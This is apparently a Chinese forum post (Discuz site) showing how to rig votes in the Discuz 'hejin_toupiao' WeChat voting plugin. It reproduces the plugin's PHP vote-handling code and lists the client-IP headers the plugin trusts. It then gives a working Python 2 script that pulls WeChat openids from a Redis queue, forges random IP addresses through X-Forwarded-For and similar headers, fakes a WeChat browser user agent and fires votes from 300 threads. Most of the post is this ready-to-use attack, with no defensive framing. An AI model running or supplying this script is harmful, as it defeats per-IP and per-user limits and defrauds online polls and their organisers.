1.插件源码
2.fiddler 4
3.python
http://www.xxx.com/plugin.php?id=hejin_toupiao&model=ticket&zid=xxxx&formhash=xxxx&
03oj_2132_saltkey=N8uS18SZ; 03oj_2132_lastvisit=1497202143; hjbox_openid=xxxxx; 03oj_2132_sid=CINl9f; 03oj_2132_lastact=1497285758%09plugin.php%09
<?php
//投票
if ($model == 'ticket') {
if ($_GET['formhash'] == formhash()) {
if ($_GET['zid']) {
$data = array(); $zid = intval($_GET['zid']);
if ($hejintoupiao['hjtp_numbtp']) {
$data['status'] = 888; //编号投票
} else {
if ($_COOKIE['hjbox_openid']) {
$openid = addslashes($_COOKIE['hjbox_openid']);
$user = C::t('#hejin_toupiao#hjbox_users')->fetch_by_openid($openid);
if (count($user)) {
if ($user['is_gz'] == 1) {
$zuopin = C::t('#hejin_toupiao#hjtp_zuopins')->fetch_by_id($zid);
if (count($zuopin)) {
if ($zuopin['is_show'] != 1) {
$data['status'] = 107;
} else {
$vote = C::t('#hejin_toupiao#hjtp_votes')->fetch_by_id(intval($zuopin['vid']));
if ($vote['vote_time'] > time()) {
$data['status'] = 103; //投票还未开始
} elseif ($vote['end_time'] < time()) {
$data['status'] = 104; //投票已经结束
} elseif (($vote['start_time'] < time()) && ($vote['over_time'] > time()) && $vote['yuliub'] && ($zuopin['toupiaos'] >= $vote['yuliub'])) {
$data['status'] = 120; //报名期间达到投票限制数
} else {
if ($hejintoupiao['hjtp_ipxz'] && $hejintoupiao['hjtp_ipid']) {
$tpip = GetIP();
$ipdata = get_ip_data($tpip);
if ($ipdata) {
if ($hejintoupiao['hjtp_ipfw'] == 1) {
$ipid = $ipdata['region_id'];
} elseif ($hejintoupiao['hjtp_ipfw'] == 2) {
$ipid = $ipdata['city_id'];
}
if ($ipid == $hejintoupiao['hjtp_ipid']) {
$quyuxz = 1;
} else {
$quyuxz = 0;
}
} else {
$quyuxz = 1;
}
} else {
$quyuxz = 1;
}
if ($quyuxz == 1) { //ip范围限制
$today = date('Y-m-d', time());
if ($hejintoupiao['hjtp_tpxzmos'] == 2) {
$timedate = 1111111111;
} else {
$timedate = strtotime($today);
}
$utpjls = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_today_uid_vid(intval($user['id']), intval($vote['id']), $timedate);
$ip = GetIP(); //获取ip流程
if ($vote['ipnubs'] > 0) {
$iptpjls = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_today_ip_vid(addslashes($ip), intval($vote['id']), $timedate);
if (count($iptpjls) < $vote['ipnubs']) {
if (count($utpjls) < $vote['tpnub']) {
if ($hejintoupiao['hjtp_tpxznub']) {
$usetpjl = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_by_zvudid($zid, intval($vote['id']), intval($user['id']), $timedate);
if (count($usetpjl)) {
$tpxznub = 0;
} else {
$tpxznub = 1;
}
} else {
$tpxznub = 1;
}
if ($tpxznub == 1) { //判断用户是否已经给这个用户投过一票
if ($hejintoupiao['hjtp_zdpbzp']) {
$sptime = time() - 60;
$spnubmer = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_sptime_all($zid, intval($sptime));
$spnub = count($spnubmer);
if ($spnub > $hejintoupiao['hjtp_zdpbzp']) {
$xzspzdpb = 0;
} else {
$xzspzdpb = 1;
}
} else {
$xzspzdpb = 1;
}
if ($xzspzdpb) {
//写投票流程
$tpdata = array();
$tpdata['zid'] = $zid;
$tpdata['uid'] = intval($user['id']);
$tpdata['vid'] = intval($vote['id']);
$tpdata['openid'] = $openid;
$tpdata['ips'] = addslashes($ip);
$tpdata['timedate'] = $timedate;
$tpdata['yuliua'] = time();
$addtpjl = C::t('#hejin_toupiao#hjtp_tpjles')->insert($tpdata);
if ($addtpjl) {
$data['status'] = 108; //投票成功
$zptpup = array();
if ($hejintoupiao['hjtp_qxgzjp']) {
if ($zuopin['yuliua']) {
$zptpjls = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_zid_all($zid);
$zptpup['toupiaos'] = count($zptpjls);
$zptpup['yuliua'] = intval($zuopin['yuliua'] + 1);
} else {
$zptpjls = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_zid_all($zid);
$zptpup['toupiaos'] = count($zptpjls);
$zptpup['yuliua'] = count($zptpjls);
}
} else {
$zptpup['toupiaos'] = intval($zuopin['toupiaos'] + 1);
$zptpup['yuliua'] = intval($zuopin['toupiaos'] + 1);
}
$upzptps = C::t('#hejin_toupiao#hjtp_zuopins')->update_by_id($zid, $zptpup);
$votetpup = array();
$votetpup['toupiaos'] = intval($vote['toupiaos'] + 1);
$upvotetp = C::t('#hejin_toupiao#hjtp_votes')->update_by_id(intval($vote['id']), $votetpup);
if ($hejintoupiao['hjtp_tpjl'] && $hejintoupiao['hjtp_tpjlnub']) {
$upjifen = array();
$upjifen['yuliua'] = intval($user['yuliua'] + $hejintoupiao['hjtp_tpjlnub']);
$jifenzj = C::t('#hejin_toupiao#hjbox_users')->update_by_id(intval($user['id']), $upjifen);
}
} else {
$data['status'] = 107; //投票不成功
}
} else {
$zdpbspdata = array('is_show' => 3,);
$zdpbsp = C::t('#hejin_toupiao#hjtp_zuopins')->update_by_id($zid, $zdpbspdata);
}
} else {
$data['status'] = 109; //今日已经给这个用户投过票了
}
} else {
$data['status'] = 106; //此用户今日已无法投票
}
} else {
$data['status'] = 105; //此ip下今日已无法投票
}
} else {
if (count($utpjls) < $vote['tpnub']) {
if ($hejintoupiao['hjtp_tpxznub']) {
$usetpjl = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_by_zvudid($zid, intval($vote['id']), intval($user['id']), $timedate);
if (count($usetpjl)) {
$tpxznub = 0;
} else {
$tpxznub = 1;
}
} else {
$tpxznub = 1;
}
if ($tpxznub) { //判断用户是否已经给这个用户投过一票
if ($hejintoupiao['hjtp_zdpbzp']) {
$sptime = time() - 60;
$spnubmer = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_sptime_all($zid, intval($sptime));
$spnub = count($spnubmer);
if ($spnub > $hejintoupiao['hjtp_zdpbzp']) {
$xzspzdpb = 0;
} else {
$xzspzdpb = 1;
}
} else {
$xzspzdpb = 1;
}
if ($xzspzdpb) {
//写投票流程
$tpdata = array();
$tpdata['zid'] = $zid;
$tpdata['uid'] = intval($user['id']);
$tpdata['vid'] = intval($vote['id']);
$tpdata['openid'] = $openid;
$tpdata['ips'] = addslashes($ip);
$tpdata['timedate'] = $timedate;
$tpdata['yuliua'] = time();
$addtpjl = C::t('#hejin_toupiao#hjtp_tpjles')->insert($tpdata);
if ($addtpjl) {
$data['status'] = 108; //投票成功
$zptpup = array();
if ($hejintoupiao['hjtp_qxgzjp']) {
if ($zuopin['yuliua']) {
$zptpjls = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_zid_all($zid);
$zptpup['toupiaos'] = count($zptpjls);
$zptpup['yuliua'] = intval($zuopin['yuliua'] + 1);
} else {
$zptpjls = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_zid_all($zid);
$zptpup['toupiaos'] = count($zptpjls);
$zptpup['yuliua'] = count($zptpjls);
}
} else {
$zptpup['toupiaos'] = intval($zuopin['toupiaos'] + 1);
$zptpup['yuliua'] = intval($zuopin['toupiaos'] + 1);
}
$upzptps = C::t('#hejin_toupiao#hjtp_zuopins')->update_by_id($zid, $zptpup);
$votetpup = array();
$votetpup['toupiaos'] = intval($vote['toupiaos'] + 1);
$upvotetp = C::t('#hejin_toupiao#hjtp_votes')->update_by_id(intval($vote['id']), $votetpup);
if ($hejintoupiao['hjtp_tpjl'] && $hejintoupiao['hjtp_tpjlnub']) {
$upjifen = array();
$upjifen['yuliua'] = intval($user['yuliua'] + $hejintoupiao['hjtp_tpjlnub']);
$jifenzj = C::t('#hejin_toupiao#hjbox_users')->update_by_id(intval($user['id']), $upjifen);
}
} else {
$data['status'] = 107; //投票不成功
}
} else {
$zdpbspdata = array('is_show' => 3,);
$zdpbsp = C::t('#hejin_toupiao#hjtp_zuopins')->update_by_id($zid, $zdpbspdata);
}
} else {
$data['status'] = 109; //今日已经给这个用户投过票了
}
} else {
$data['status'] = 106; //此用户今日已无法投票
}
}
} else {
$data['status'] = 110; //ip不在限制范围中
}
}
}
}
} else {
$data['status'] = 102;
}
} else {
$data['status'] = 102;
}
} else {
$data['status'] = 102;
}
}
} else {
}
}
echo $data['status'];
}
HTTP_CLIENT_IP
HTTP_X_FORWARDED_FOR
X-FORWARDED-FOR
REMOTE_ADDR
# -* - coding: UTF-8 -* -
import urllib2
import time
import random
import threading
import redis
redis_conn=redis.ConnectionPool(host='127.0.0.1',port=6379,db=0) #获取redis中的队列
r = redis.StrictRedis(connection_pool=redis_conn)
def get_tick(openid):
for k in range(3):
ip = str(random.randint(10, 254))+\".\"+str(random.randint(100, 254))+\".\"+str(random.randint(100, 254))+\".\"+str(random.randint(100, 254)); #模拟ip地址
print ip;
host = \"http://XXXX.COM\"
url1 = host + \"/plugin.php?id=hejin_toupiao&model=ticket&zid=用户的ID&formhash=0342ae5b&_=\" + str(int(time.time())) #投票表单的连接
request = urllib2.Request(url1)
request.add_header(\"Cookie\",
\"03oj_2132_saltkey=N8uS18SZ; 03oj_2132_lastvisit=1497282143; hjbox_openid=\" + openid + \"; 03oj_2132_sid=CINl9f; 03oj_2132_lastact=1497285758%09plugin.php%09\") #cookie 主要是变动openid参数
request.add_header(\"User-Agent\",
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.493.400 QQBrowser/9.0.2524.400')
#模拟请求头 主要是模拟是在微信浏览器下面的
request.add_header(\"Referer\", \"http://XXXX.COM/plugin.php?id=hejin_toupiao&model=rank&vid=3\") #忽略
#下面就是模拟IP地址 貌似好像只有最后一个有效 写了一大堆 只要能用就行 也没注意别的
request.add_header(\"http_CLIENT_IP\",ip)
request.add_header(\"http_X_FORWARDED_FOR\", ip)
request.add_header(\"REMOTE_ADDR\", ip)
request.add_header(\"X-FORWARDED-FOR\", ip)
response = urllib2.urlopen(request) #提交请求
print response.read()
time.sleep(1)
def getdada(k):
print 'start Thread #'+k;
while True:
openid = r.lpop('openid') #读取队列然后丢进方法里面 ,不用redis也可以用别的
if openid != None:
get_tick(openid);
if __name__ == '__main__':
#每秒300票 分分钟over
for xx in range(300): # for循环创建启动20个线程
i = threading.Thread(target=getdada, args=(str(xx)))
i.start();
欢迎光临 牛皮兔 (http://niupitu.com/) | Powered by Discuz! X3.2 |